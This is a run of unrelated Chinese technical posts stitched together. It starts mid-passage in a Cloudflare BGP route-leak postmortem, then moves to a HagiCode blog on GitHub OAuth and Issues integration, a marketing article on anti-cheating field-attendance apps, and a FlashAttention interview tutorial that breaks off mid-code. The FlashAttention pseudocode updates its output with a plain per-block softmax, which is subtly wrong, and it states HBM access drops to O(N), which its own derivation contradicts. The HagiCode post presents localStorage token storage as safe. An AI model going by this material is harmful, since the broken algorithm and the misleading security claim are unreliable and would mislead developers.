  • 被泄漏的前缀所属网络(外部网络)的一部分流量也被引向迈阿密,但 Cloudflare 路由器的防火墙过滤器只允许 Cloudflare/客户相关前缀的流量,导致这部分流量被丢弃(峰值约 12Gbps)

image

image

同时,路由泄漏的证据也能在路由收集器的历史数据里看到,比如这段 monocle 检索结果(注意 AS path 中 Cloudflare AS13335 出现在不该出现的位置上):

➜  ~ monocle search --start-ts 2026-01-22T20:24:00Z --end-ts 2026-01-22T20:30:00Z --as-path ".*13335[ d$]32934$*"
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f077::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f091::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f16f::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f17c::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f26f::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f27c::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113609.854028|2801:14:9000::6:4112:1|64112|2a03:2880:f33f::/48|64112 22850 174 3356 13335 32934|IGP|2801:14:9000::6:4112:1|0|0|22850:65151|false|||pit.scl
A|1769113583.095278|2001:504:d::4:9544:1|49544|2a03:2880:f17c::/48|49544 1299 3356 13335 32934|IGP|2001:504:d::4:9544:1|0|0|1299:25000 1299:25800 49544:16000 49544:16106|false|||route-views.isc
A|1769113583.095278|2001:504:d::4:9544:1|49544|2a03:2880:f27c::/48|49544 1299 3356 13335 32934|IGP|2001:504:d::4:9544:1|0|0|1299:25000 1299:25800 49544:16000 49544:16106|false|||route-views.isc
A|1769113583.095278|2001:504:d::4:9544:1|49544|2a03:2880:f091::/48|49544 1299 3356 13335 32934|IGP|2001:504:d::4:9544:1|0|0|1299:25000 1299:25800 49544:16000 49544:16106|false|||route-views.isc
A|1769113584.324483|2001:504:d::19:9524:1|199524|2a03:2880:f091::/48|199524 1299 3356 13335 32934|IGP|2001:2035:0:2bfd::1|0|0||false|||route-views.isc
A|1769113584.324483|2001:504:d::19:9524:1|199524|2a03:2880:f17c::/48|199524 1299 3356 13335 32934|IGP|2001:2035:0:2bfd::1|0|0||false|||route-views.isc
A|1769113584.324483|2001:504:d::19:9524:1|199524|2a03:2880:f27c::/48|199524 1299 3356 13335 32934|IGP|2001:2035:0:2bfd::1|0|0||false|||route-views.isc
{trimmed}

别再迷信“自动化=不会错”

这次事故最扎心的一点是:自动化没有坏,坏的是策略生成逻辑里那个“空条件”缺口。自动化把错误放大得更快、更一致、更“全自动”,所以也更需要“刹车系统”。

Cloudflare 的改进方向很有代表性,基本可以当成网络自动化团队的“安全 checklist”:

  • 立刻修补路由策略自动化里导致错误放行的缺陷,并在同类风险点上补洞
  • 在路由策略里加更强的基于 BGP community 的防护:对外 export policy 上明确拒绝“来自 peer/provider 的路由”
  • 在 CI/CD 里做自动化策略评估:重点抓“空/错误的 policy term”(像这次就是删 prefix-list 后 term 还 accept)
  • 提前告警:更早发现配置异常与自动化变更的负面效应
  • 更长期的路由安全:验证并推进 RFC9234(BGP Roles / Only-to-Customer)等机制,从“协议能力”层面降低本地 AS route leak 的概率
  • 促进 RPKI ASPA 之类能力的采用,让异常 AS path 更容易被自动拒绝

结语

网络世界最怕的不是“改配置”,是“改配置还以为没事”😅

这场 25 分钟的泄漏,杀伤力并不靠持续时间,而靠 BGP 的传播速度 + 流量的惯性。更现实的是:只要系统允许“内部路由被 accept 并 export”,那就等于把“内部车道”直接连到了高速入口——迟早会堵。

真正能让系统更稳的,不是“以后小心点”,而是工程化地把风险钉死:

  • 关键策略项不能出现“条件被删空但仍 accept”
  • 对外 export 必须能识别并拒绝来自 peer/provider 的路由
  • 自动化要配“策略单测 + 变更评估 + 审计与回滚”三件套

毕竟,互联网的路由不是你家路口的指示牌,摆歪了,整座城市都可能跟着绕路。😵‍💫


喜欢就奖励一个“👍”和“在看”呗~

image

从零构建 GitHub Issues 集成:HagiCode 的前端直连实践

本文记录了在 HagiCode 平台中集成 GitHub Issues 的全过程。我们将探讨如何通过"前端直连 + 后端最小化"的架构,在保持后端轻量的同时,实现安全的 OAuth 认证与高效的 Issues 同步。

背景:为什么要集成 GitHub?

HagiCode 作为一个 AI 辅助开发平台,核心价值在于连接想法与实现。但在实际使用中,我们发现用户在 HagiCode 中完成了 Proposal(提案)后,往往需要手动将内容复制到 GitHub Issues 中进行项目跟踪。

这带来了几个明显的痛点:

  1. 工作流割裂:用户需要在两个系统之间来回切换,体验不仅不流畅,还容易导致关键信息在复制粘贴的过程中丢失。
  2. 协作不便:团队其他成员习惯在 GitHub 上查看任务,无法直接看到 HagiCode 中的提案进展。
  3. 重复劳动:每当提案更新,就要人工去 GitHub 更新对应的 Issue,增加不必要的维护成本。

为了解决这个问题,我们决定引入 GitHub Issues Integration 功能,打通 HagiCode 会话与 GitHub 仓库的连接,实现"一键同步"。

关于 HagiCode

嘿,介绍一下我们正在做的东西

我们正在开发 HagiCode —— 一款 AI 驱动的代码智能助手,让开发体验变得更智能、更便捷、更有趣。

智能 —— AI 全程辅助,从想法到代码,让编码效率提升数倍。便捷 —— 多线程并发操作,充分利用资源,开发流程顺畅无阻。有趣 —— 游戏化机制和成就系统,让编码不再枯燥,充满成就感。

项目正在快速迭代中,如果你对技术写作、知识管理或者 AI 辅助开发感兴趣,欢迎来 GitHub 看看~


技术选型:前端直连 vs 后端代理

在设计集成方案时,摆在我们面前的有两条路:传统的"后端代理模式"和更激进的"前端直连模式"。

方案对比

在传统的后端代理模式中,前端所有的请求都要先经过我们的后端,再由后端去调用 GitHub API。这虽然逻辑集中,但给后端带来了不小的负担:

  1. 后端臃肿:需要编写专门的 GitHub API 客户端封装,还要处理 OAuth 的复杂状态机。
  2. Token 风险:用户的 GitHub Token 必须存储在后端数据库中,虽然可以加密,但毕竟增加了安全风险面。
  3. 开发成本:需要数据库迁移来存储 Token,还需要维护一套额外的同步服务。

前端直连模式则要轻量得多。在这个方案中,我们只利用后端来处理最敏感的"密钥交换"环节(OAuth callback),获取到 Token 后,直接存在浏览器的 localStorage 里。后续创建 Issue、更新评论等操作,直接由前端发 HTTP 请求到 GitHub。

对比维度后端代理模式前端直连模式
后端复杂度需要完整的 OAuth 服务和 GitHub API 客户端仅需一个 OAuth 回调端点
Token 管理需加密存储在数据库,有泄露风险存储在浏览器,仅用户自己可见
实施成本需数据库迁移、多服务开发主要是前端工作量
用户体验逻辑统一,但服务器延迟可能稍高响应极快,直接与 GitHub 交互

考虑到我们要的是快速集成和最小化后端改动,最终我们采用了"前端直连模式"。这就像给浏览器发了一张"临时通行证",拿到证之后,浏览器就可以自己去 GitHub 办事了,不需要每次都找后端管理员批准。


核心设计:数据流与安全

在确定架构后,我们需要设计具体的数据流。整个同步流程的核心在于如何安全地获取 Token 并高效地利用它。

整体架构图

整个系统可以抽象为三个角色:浏览器(前端)、HagiCode 后端、GitHub。

+--------------+        +--------------+        +--------------+
|  前端 React  |        |    后端      |        |    GitHub    |
|              |        |   ASP.NET    |        |    REST API  |
|  +--------+  |        |              |        |              |
|  |  OAuth |--+--------> /callback    |        |              |
|  |  流程  |  |        |              |        |              |
|  +--------+  |        |              |        |              |
|              |        |              |        |              |
|  +--------+  |        |  +--------+  |        |  +--------+  |
|  |GitHub  |  +------------>Session |  +----------> Issues |  |
|  |API     |  |        |  |Metadata|  |        |  |        |  |
|  |直连    |  |        |  +--------+  |        |  +--------+  |
|  +--------+  |        |              |        |              |
+--------------+        +--------------+        +--------------+

关键点在于:只有 OAuth 的一小步(获取 code 换 token)需要经过后端,之后的粗活累活(创建 Issue)都是前端直接跟 GitHub 打交道。

同步数据流详解

当用户点击 HagiCode 界面上的"Sync to GitHub"按钮时,会发生一系列复杂的动作:

用户点击 "Sync to GitHub"
         │
         ▼
1. 前端检查 localStorage 获取 GitHub Token
         │
         ▼
2. 格式化 Issue 内容(将 Proposal 转换为 Markdown)
         │
         ▼
3. 前端直接调用 GitHub API 创建/更新 Issue
         │
         ▼
4. 调用 HagiCode 后端 API 更新 Session.metadata (存储 Issue URL 等信息)
         │
         ▼
5. 后端通过 SignalR 广播 SessionUpdated 事件
         │
         ▼
6. 前端接收事件,更新 UI 显示"已同步"状态

安全设计

安全问题始终是集成第三方服务的重中之重。我们做了以下考量:

  1. 防 CSRF 攻击:在 OAuth 跳转时,生成随机的 state 参数并存入 sessionStorage。回调时严格验证 state,防止请求被伪造。
  2. Token 存储隔离:Token 仅存储在浏览器的 localStorage 中,利用同源策略(Same-Origin Policy),只有 HagiCode 的脚本才能读取,避免了服务器端数据库泄露波及用户。
  3. 错误边界:针对 GitHub API 常见的错误(如 401 Token 过期、422 验证失败、429 速率限制),设计了专门的错误处理逻辑,给用户以友好的提示。

实践:代码实现细节

纸上得来终觉浅,咱们来看看具体的代码是怎么实现的。

1. 后端最小化改动

后端只需要做两件事:存储同步信息、处理 OAuth 回调。

数据库变更
我们只需要在 Sessions 表增加一个 Metadata 列,用来存储 JSON 格式的扩展信息。

-- 添加 metadata 列到 Sessions 表
ALTER TABLE "Sessions" ADD COLUMN "Metadata" text NULL;

实体与 DTO 定义

// src/HagiCode.DomainServices.Contracts/Entities/Session.cs
public class Session : AuditedAggregateRoot<SessionId>
{
    // ... 其他属性 ...

    /// <summary>
    /// JSON metadata for storing extension data like GitHub integration
    /// </summary>
    public string? Metadata { get; set; }
}

// DTO 定义,方便前端序列化
public class GitHubIssueMetadata
{
    public required string Owner { get; set; }
    public required string Repo { get; set; }
    public int IssueNumber { get; set; }
    public required string IssueUrl { get; set; }
    public DateTime SyncedAt { get; set; }
    public string LastSyncStatus { get; set; } = "success";
}

public class SessionMetadata
{
    public GitHubIssueMetadata? GitHubIssue { get; set; }
}

2. 前端 OAuth 流程

这是连接的入口。我们使用标准的 Authorization Code Flow。

// src/HagiCode.Client/src/services/githubOAuth.ts

// 生成授权 URL 并跳转
export async function generateAuthUrl(): Promise<string> {
  const state = generateRandomString(); // 生成防 CSRF 的随机串
  sessionStorage.setItem('hagicode_github_state', state);
  
  const params = new URLSearchParams({
    client_id: clientId,
    redirect_uri: window.location.origin + '/settings?tab=github&oauth=callback',
    scope: ['repo', 'public_repo'].join(' '),
    state: state,
  });
  
  return `https://github.com/login/oauth/authorize?${params.toString()}`;
}

// 在回调页面处理 Code 换取 Token
export async function exchangeCodeForToken(code: string, state: string): Promise<GitHubToken> {
  // 1. 验证 State 防止 CSRF
  const savedState = sessionStorage.getItem('hagicode_github_state');
  if (state !== savedState) throw new Error('Invalid state parameter');

  // 2. 调用后端 API 进行 Token 交换
  // 注意:这里必须经过后端,因为需要 ClientSecret,不能暴露在前端
  const response = await fetch('/api/GitHubOAuth/callback', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ code, state, redirectUri: window.location.origin + '/settings?tab=github&oauth=callback' }),
  });

  if (!response.ok) throw new Error('Failed to exchange token');
  
  const token = await response.json();
  
  // 3. 存入 LocalStorage
  saveToken(token);
  return token;
}

3. GitHub API 客户端封装

有了 Token 之后,我们就需要一个强有力的工具来调 GitHub API。

// src/HagiCode.Client/src/services/githubApiClient.ts

const GITHUB_API_BASE = 'https://api.github.com';

// 核心请求封装
async function githubApi<T>(endpoint: string, options: RequestInit = {}): Promise<T> {
  const token = localStorage.getItem('gh_token');
  if (!token) throw new Error('Not connected to GitHub');
  
  const response = await fetch(`${GITHUB_API_BASE}${endpoint}`, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${token}`,
      Accept: 'application/vnd.github.v3+json', // 指定 API 版本
    },
  });
  
  // 错误处理逻辑
  if (!response.ok) {
    if (response.status === 401) throw new Error('GitHub Token 失效,请重新连接');
    if (response.status === 403) throw new Error('无权访问该仓库或超出速率限制');
    if (response.status === 422) throw new Error('Issue 验证失败,可能标题重复');
    throw new Error(`GitHub API Error: ${response.statusText}`);
  }
  
  return response.json();
}

// 创建 Issue
export async function createIssue(owner: string, repo: string, data: { title: string, body: string, labels: string[] }) {
  return githubApi(`/repos/${owner}/${repo}/issues`, {
    method: 'POST',
    body: JSON.stringify(data),
  });
}

4. 内容格式化与同步

最后一步,就是把 HagiCode 的 Session 数据转换成 GitHub Issue 的格式。这有点像"翻译"工作。

// 将 Session 对象转换为 Markdown 字符串
function formatIssueForSession(session: Session): string {
  let content = `# ${session.title}\n\n`;
  content += `**> HagiCode Session:** #${session.code}\n`;
  content += `**> Status:** ${session.status}\n\n`;
  content += `## Description\n\n${session.description || 'No description provided.'}\n\n`;
  
  // 如果是 Proposal 类型,添加额外字段
  if (session.type === 'proposal') {
    content += `## Chief Complaint\n\n${session.chiefComplaint || ''}\n\n`;
    // 添加一个深链接,方便从 GitHub 跳回 HagiCode
    content += `---\n\n**[View in HagiCode](hagicode://sessions/${session.id})**\n`;
  }
  
  return content;
}

// 点击同步按钮的主逻辑
const handleSync = async (session: Session) => {
  try {
    const repoInfo = parseRepositoryFromUrl(session.repoUrl); // 解析仓库 URL
    if (!repoInfo) throw new Error('Invalid repository URL');

    toast.loading('正在同步到 GitHub...');
    
    // 1. 格式化内容
    const issueBody = formatIssueForSession(session);
    
    // 2. 调用 API
    const issue = await githubApiClient.createIssue(repoInfo.owner, repoInfo.repo, {
      title: `[HagiCode] ${session.title}`,
      body: issueBody,
      labels: ['hagicode', 'proposal', `status:${session.status}`],
    });
    
    // 3. 更新 Session Metadata (保存 Issue 链接)
    await SessionsService.patchApiSessionsSessionId(session.id, {
      metadata: {
        githubIssue: {
          owner: repoInfo.owner,
          repo: repoInfo.repo,
          issueNumber: issue.number,
          issueUrl: issue.html_url,
          syncedAt: new Date().toISOString(),
        }
      }
    });

    toast.success('同步成功!');
  } catch (err) {
    console.error(err);
    toast.error('同步失败,请检查 Token 或网络');
  }
};

总结与展望

通过这套"前端直连"方案,我们用最少的后端代码实现了 GitHub Issues 的无缝集成。

收获

  1. 开发效率高:后端改动极小,主要是数据库加一个字段和一个简单的 OAuth 回调接口,大部分逻辑都在前端完成。
  2. 安全性好:Token 不经过服务器数据库,降低了泄露风险。
  3. 用户体验佳:直接从前端发起请求,响应速度快,不需要经过后端中转。

注意事项

在实际部署时,有几个坑大家要注意:

  • OAuth App 设置:记得在 GitHub OAuth App 设置里填正确的 Authorization callback URL(通常是 http://localhost:3000/settings?tab=github&oauth=callback)。
  • 速率限制:GitHub API 对未认证请求限制较严,但用 Token 后通常足够(5000次/小时)。
  • URL 解析:用户输入的 Repo URL 千奇百怪,记得正则要匹配 .git 后缀、SSH 格式等情况。

后续增强

目前的功能还是单向同步(HagiCode -> GitHub)。未来我们计划通过 GitHub Webhooks 实现双向同步,比如在 GitHub 里关闭 Issue,HagiCode 这边的会话状态也能自动更新。这需要我们在后端暴露一个 Webhook 接收端点,这也是下一步要做的有趣工作。

希望这篇文章能给你的第三方集成开发带来一点灵感!如果有问题,欢迎在 HagiCode GitHub 上提 Issue 讨论。

很多企业管理者在查看员工数据时,常常会有这样的疑问:考勤记录显示正常,拜访量也符合标准,为什么业绩却无法提升?

目前市面上充斥着各种打卡软件和定位修改工具,过去传统的考勤软件往往无法有效防范员工的作弊行为。员工通过简单操作就能在家“完成”客户拜访,导致管理者只能依赖虚假的数据做决策。

那么,如今的外勤轨迹软件到底能否有效避免这些作弊手段呢?答案是肯定的,但前提是选择具有专业防作弊技术的软件。

接下来,我们将详细讲解这些防作弊技术的工作原理,帮助您识别真正有效的防作弊软件。

一、常见的外勤作弊方式

要有效防范作弊,首先需要了解常见的作弊方式:

虚拟定位:员工通过第三方软件修改GPS坐标,虽然人在家中,但定位却显示在客户公司或办公区。

手机分身/多开:在一部手机上安装多个副本,或通过模拟器登录多个账号,帮助他人代打卡。

照片造假:通过翻拍屏幕、修图或者修改照片的Exif信息,伪造现场拍摄的照片。

设备Root/越狱:员工通过Root或越狱获取手机的最高权限,从而运行高级作弊软件,绕过普通软件的检测。

二、专业外勤软件的五大防作弊技术

为了应对这些作弊方式,像小步外勤这样的专业外勤管理软件建立了严密的防御体系。

以下是其使用的五大核心防作弊技术:

1、多重定位交叉验证:LBS + GPS + WiFi

作弊软件通常只能修改GPS信息,难以伪造基站信号和WiFi环境。专业软件通过读取GPS、基站ID和WiFi MAC地址进行验证,若位置异常,系统会立即拦截打卡。

2、底层环境监测

该技术是防作弊系统的核心之一,能实时检测手机的运行环境。若发现设备Root或越狱,或开启了“允许模拟位置”权限,系统会立即禁止打卡,并生成预警报告。

3、轨迹连续性与平滑算法

静态地点容易伪造,但连续的动态轨迹非常难伪造。通过高频采集和智能算法,系统能够分析并识别轨迹中的异常跳变,及时发现作弊行为。

4、设备指纹技术

设备指纹技术有效防止代打卡行为。通过将员工账号与手机硬件码绑定,只有绑定设备才能进行考勤操作,避免了使用备用手机打卡的情况。

5、防篡改水印相机

该技术针对照片造假。外勤软件强制调用手机原生相机,并在照片上添加不可篡改的水印信息,如时间、地点、姓名等,确保照片真实有效。

三、作弊与反作弊的实战较量

1、揭穿“云巡店”骗局

某快消品企业发现,一名巡店员的业绩长期低迷,尽管考勤记录没有问题。通过外勤轨迹软件,管理员查看该员工的轨迹回放,发现其轨迹呈现出“两点一线”的特点,中间没有去往门店的记录,却在多个地方打卡。经检测,发现该员工使用虚拟定位软件在家打卡,系统通过轨迹异常和位置跳变揭穿了这一骗局。

2、分身软件的识别

某销售团队为了帮助彼此代打卡,在手机上安装了分身软件,并登录同事的账号。在启用了设备指纹技术的系统后,后台监控到设备更换异常,发现了非法分身环境,成功阻止了代打卡行为。

四、如何选择防作弊软件?

市场上有许多宣称可以定位的外勤软件,但能有效防止作弊的软件却不多。企业在选择外勤管理软件时应避免以下误区:

误区1:只看是否有定位功能。许多OA协同软件仅提供简单的地图接口,容易被免费的定位修改器破解。

误区2:忽视弱网环境。真正的防作弊软件不仅能防范恶意作弊,还能应对弱网环境中的位置误差,确保准确判断。

专家建议:

查看模块:选择具备独立“防作弊中心”模块的专业软件。

现场测试:在选型阶段,通过现场测试来验证软件的防作弊能力,使用虚拟定位软件进行攻防测试。

查看专利:防作弊技术需要强大的技术积累,查看软件厂商是否具备相关技术专利和支持。

五、总结

尽管没有任何技术能做到百分之百防止作弊,但专业的外勤轨迹软件能显著提高作弊的成本,减少其发生的可能性。对于企业管理者而言,选择一款具有高效防作弊技术的外勤管理软件,是提升管理效率和决策质量的关键。

注1:本文系"每天一个多模态知识点"专栏文章。本专栏致力于对多模态大模型/CV领域的高频高难面试题进行深度拆解。本期攻克的难题是:FlashAttention

注2:本文Markdown源码可提供下载,详情见文末

关注"每天一个多模态知识点"公众号,每天一个知识点的深度解析!


知识点13 | FlashAttention深度攻略:从IO复杂度理论到CUDA kernel实现的完整解析

面试原题复现

面试官提问:

"请解释FlashAttention算法的核心思想,并分析它相比传统注意力算法在计算复杂度和内存复杂度上的差异。为什么它能在不牺牲精度的情况下显著提升性能?请从IO复杂度、Tiling算法和在线Softmax三个维度进行详细阐述。"

关键回答(The Hook)

核心直觉:

FlashAttention的核心突破在于从计算思维转向IO思维。传统注意力算法关注浮点运算数量(FLOPs),而FlashAttention认识到在现代GPU上,内存访问带宽才是真正的性能瓶颈。通过精心设计的IO-aware算法,FlashAttention将注意力计算从compute-bound转变为memory-bound场景下的性能杀手,在保持数学精确性的前提下,将HBM访问量从O(N²)降低到O(N),从而实现了2-4倍的端到端加速和显著的长序列处理能力提升。


深度原理解析(The Meat)

1. 硬件性能瓶颈分析

首先需要理解现代GPU的内存层次结构。以NVIDIA A100为例:

GPU内存层次结构

GPU内存层次(以A100为例):

  • HBM(高带宽内存): 40-80GB容量,带宽1.5-2.0 TB/s
  • SRAM(片上静态随机存取存储器): 每个SM约192KB,带宽约19 TB/s

关键洞察: SRAM的带宽是HBM的10倍以上,但容量仅为HBM的1/1000。FlashAttention的核心策略就是:尽可能将数据驻留在SRAM中完成计算,减少HBM的访问次数

2. 标准注意力实现的性能分析

标准注意力计算公式:

$$\text{Attention}(Q, K, V) = \text{softmax}\left(\frac{QK^T}{\sqrt{d_k}}\right)V$$

其中 $Q, K, V \in \mathbb{R}^{N \times d_k}$,N为序列长度,$d_k$为注意力头维度。

标准实现的内存访问模式:

# 标准注意力实现
def standard_attention(Q, K, V):
    # Step 1: 计算注意力矩阵 S = QK^T
    S = Q @ K.T  # O(N²d_k) FLOPs, O(N²) 内存
    # Step 2: 计算 softmax
    P = softmax(S)  # O(N²) 内存
    # Step 3: 加权求和
    O = P @ V  # O(N²d_k) FLOPs, O(N²) 内存
    return O

问题分析:

  1. 中间结果巨大: 注意力矩阵S和P都是N×N的,对于N=4096的序列,需要约67MB存储
  2. 多次HBM读写: 每个步骤都需要读写HBM,造成严重的带宽瓶颈
  3. 内存复杂度: 需要O(N² + Nd_k)的HBM访问

IO复杂度计算:

标准注意力需要:

  • 读取Q, K, V:$3Nd_k$ 次HBM访问
  • 写入和读取S:$2N^2$ 次HBM访问
  • 读取V和写入O:$Nd_k$ 次HBM访问

总计:Ω(N² + Nd_k) 次HBM访问

3. FlashAttention的核心创新:Tiling算法

FlashAttention通过分块策略,将整个注意力矩阵的计算分解为在SRAM中完成的小块计算:

FlashAttention分块架构

分块策略:

设块大小为$B_r$(行块)和$B_c$(列块),满足$B_r \cdot B_c \cdot d_k \leq \text{SRAM\_capacity}$

将Q, K, V分别划分为:

  • $Q = [Q_1, Q_2, ..., Q_{T_r}]$,其中 $Q_i \in \mathbb{R}^{B_r \times d_k}$
  • $K = [K_1, K_2, ..., K_{T_c}]$,其中 $K_j \in \mathbb{R}^{B_c \times d_k}$
  • $V = [V_1, V_2, ..., V_{T_c}]$,其中 $V_j \in \mathbb{R}^{B_c \times d_k}$

算法流程:

def flash_attention(Q, K, V):
    # 初始化
    O = zeros_like(Q)  # 输出矩阵
    m = -inf * ones(N)  # 每行的最大值
    l = zeros(N)  # 每行的指数和(归一化因子)
    
    # 外层循环:遍历K和V的块
    for j in range(T_c):
        K_block = K[j*B_c:(j+1)*B_c, :]
        V_block = V[j*B_c:(j+1)*B_c, :]
        
        # 内层循环:遍历Q的块
        for i in range(T_r):
            Q_block = Q[i*B_r:(i+1)*B_r, :]
            
            # 在SRAM中计算
            S_block = Q_block @ K_block.T  # B_r × B_c
            
            # 在线softmax更新
            m_new = max(m[i*B_r:(i+1)*B_r], rowmax(S_block))
            l_new = l[i*B_r:(i+1)*B_r] * exp(m[i*B_r:(i+1)*B_r] - m_new) + \
                     sum(exp(S_block - m_new), dim=1)
            
            # 缩放累加输出
            O[i*B_r:(i+1)*B_r, :] = O[i*B_r:(i+1)*B_r, :] * \
                                       exp(m[i*B_r:(i+1)*B_r] - m_new) + \
                                       softmax(S_block) @ V_block
            
            # 更新统计量
            m[i*B_r:(i+1)*B_r] = m_new
            l[i*B_r:(i+1)*B_r] = l_new
    
    # 最终归一化
    O = O / l.reshape(-1, 1)
    return O

关键优势:

  1. 避免存储完整的注意力矩阵: 仅在SRAM中计算小块的注意力得分
  2. 减少HBM访问: 每个块只加载一次到SRAM,完成所有计算
  3. 精确计算: 通过在线softmax技巧,保证数学等价性

4. 在线Softmax的数学推导

这是FlashAttention最精妙的数学创新。传统softmax需要先知道全局最大值,而分块计算打破了这一依赖。

传统softmax:

$$\text{softmax}(x)_i = \frac{\exp(x_i)}{\sum_j \exp(x_j)}$$

数值稳定版本:

$$\text{softmax}(x)_i = \frac{\exp(x_i - \max_j x_j)}{\sum_j \exp(x_j - \max_j x_j)}$$

在线softmax推导:

假设已经处理了前j-1个块,已知:

  • $m_{j-1} = \max_{k=1}^{j-1} x_k$(前j-1个块的全局最大值)
  • $l_{j-1} = \sum_{k=1}^{j-1} \exp(x_k - m_{j-1})$(归一化因子)

现在处理第j个块,得到局部统计量:

  • $m_{local}^{(j)} = \max_{k \in \text{block}_j} x_k$
  • $l_{local}^{(j)} = \sum_{k \in \text{block}_j} \exp(x_k - m_{local}^{(j)})$

更新全局统计量:

新的全局最大值:
$$m_j = \max(m_{j-1}, m_{local}^{(j)})$$

新的归一化因子需要将前j-1个块的结果缩放到新的最大值下:

$$l_j = \sum_{k=1}^{j} \exp(x_k - m_j) = \sum_{k=1}^{j-1} \exp(x_k - m_j) + \sum_{k \in \text{block}_j} \exp(x_k - m_j)$$

利用指数的性质:

$$\sum_{k=1}^{j-1} \exp(x_k - m_j) = \sum_{k=1}^{j-1} \exp(x_k - m_{j-1}) \cdot \exp(m_{j-1} - m_j) = l_{j-1} \cdot \exp(m_{j-1} - m_j)$$

$$\sum_{k \in \text{block}_j} \exp(x_k - m_j) = \sum_{k \in \text{block}_j} \exp(x_k - m_{local}^{(j)}) \cdot \exp(m_{local}^{(j)} - m_j) = l_{local}^{(j)} \cdot \exp(m_{local}^{(j)} - m_j)$$

最终更新公式:

$$l_j = l_{j-1} \cdot \exp(m_{j-1} - m_j) + l_{local}^{(j)} \cdot \exp(m_{local}^{(j)} - m_j)$$

Softmax算法可视化

输出累积更新:

对于输出$O = \sum_i \text{softmax}(x_i) V_i$,同样需要在线更新:

$$O_{j} = O_{j-1} \cdot \frac{l_{j-1}}{l_j} \cdot \exp(m_{j-1} - m_j) + \text{softmax}_{local}^{(j)} \cdot V_{local}^{(j)}$$

这个技巧保证了分块计算的数值稳定性和数学精确性。

5. IO复杂度分析

FlashAttention的IO复杂度:

每个Q块需要遍历所有K/V块,因此:

  • HBM访问次数:$T_r \times T_c \times B_r \times d_k = N \times T_c \times d_k$

其中 $T_c = N / B_c$,块大小 $B_c \times B_r \approx M/d_k$(M为SRAM容量)

因此:
$$\text{HBM访问} = N \times \frac{N}{B_c} \times d_k = \frac{N^2 d_k^2}{M}$$

对比:

算法IO复杂度典型参数下的性能
标准注意力Ω(N² + Nd_k)基准
FlashAttentionO(N²d_k²/M)减少2-4倍HBM访问

对于典型参数:$d_k = 64$,$M = 192$KB:
$$\frac{N^2 d_k^2}{M} \approx \frac{N^2 \times 4096}{192 \times 1024} \approx 0.02 N^2$$

这解释了FlashAttention为何能实现如此显著的加速。

6. 反向传播的重计算策略

传统注意力需要存储中间结果用于反向传播:

$$\frac{\partial L}{\partial Q} = \left(\frac{\partial L}{\partial O} \cdot V^T - \sum_j P_{ij} \frac{\partial L}{\partial O}_{ij}\right) \cdot P \cdot \frac{1}{\sqrt{d_k}}$$

这需要存储完整的注意力矩阵P(O(N²)内存)。

FlashAttention的反向传播优化:

在正向传播中,只存储:

  • 输出矩阵O:O(Nd_k)
  • Softmax统计量m和l:O(2N)

反向传播时,重新计算注意力矩阵,而不是从HBM读取。虽然增加了计算量(2×FLOPs),但由于避免了O(N²)的HBM读取,反而更快

面试追问: 为什么重计算反而更快?

因为GPU的浮点运算速度远快于内存访问速度。以A100为例:

  • FP16矩阵乘法:312 TFLOPs/s
  • FP32浮点运算:19.5 TFLOPs/s
  • HBM带宽:1.5 TB/s

重计算增加的计算开销远小于减少的HBM访问开销。

7. 算子融合优化

FlashAttention将以下四个步骤融合为一个CUDA kernel:

  1. QK^T矩阵乘法
  2. Softmax计算(含掩码、Dropout)
  3. 与V矩阵乘法
  4. 激活函数等后处理

融合的优势:

  • 避免中间结果的HBM读写
  • 减少kernel launch开销
  • 充分利用Tensor Core
  • 提高数据局部性

代码手撕环节(Live Coding)

FlashAttention核心实现

import torch
import math

class FlashAttention(torch.nn.Module):
    def __init__(self, head_dim, block_size=128):
        super().__init__()
        self.head_dim = head_dim
        self.block_size = block_size
        self.scale = head_dim ** -0.5
        
    def forward(self, q, k, v, causal_mask=False):
        """
        q, k, v: (batch_size, seq_len, num_heads, head_dim)
        输出: (batch_size, seq_len, num_heads, head_dim)
        """
        batch_size, seq_len, num_heads, head_dim = q.shape
        
        # 重塑为 (batch_size * num_heads, seq_len, head_dim)
        q = q.transpose(1, 2).contiguous()
        k = k.transpose(1, 2).contiguous()
        v = v.transpose(1, 2).contiguous()
        
        q = q.view(-1, seq_len, head_dim)
        k = k.view(-1, seq_len, head_dim)
        v = v.view(-1, seq_len, head_dim)
        
        # 初始化输出和统计量
        o = torch.zeros_like(q)
        m = torch.full((q.shape[0], q.shape[1]), float('-inf'), 
                       device=q.device, dtype=q.dtype)
        l = torch.zeros((q.shape[0], q.shape[1]), 
                       device=q.device, dtype=torch.float32)
        
        # 分块计算
        num_blocks = (seq_len + self.block_size - 1) // self.block_size
        
        for i in range(num_blocks):
            start_i, end_i = i * self.block_size, min((i + 1) * self.block_size, seq_len)
            q_block = q[:, start_i:end_i, :]  # (B, B_r, d)
            
            for j in range(num_blocks):
                start_j, end_j = j * self.block_size, min((j + 1) * self.block_size, seq_len)
                
                # 因果掩码
                if causal_mask and j > i:
                    continue
                
                k_block = k[:, start_j:end_j, :]  # (B, B_c, d)
                v_block = v[:, start_j:end_j, :]  # (B, B_c, d)
                
                # 在SRAM中计算注意力分数 (B, B_r, B_c)
                s_block = torch.matmul(q_block, k_block.transpose(-2, -1)) * self.scale
                
                # 因果掩码(如果需要)
                if causal_mask:
                    mask = torch.triu(torch.ones(s_block.shape[1], s_block.shape[2]), 
                                     diagonal=1).bool().to(s_block.device)
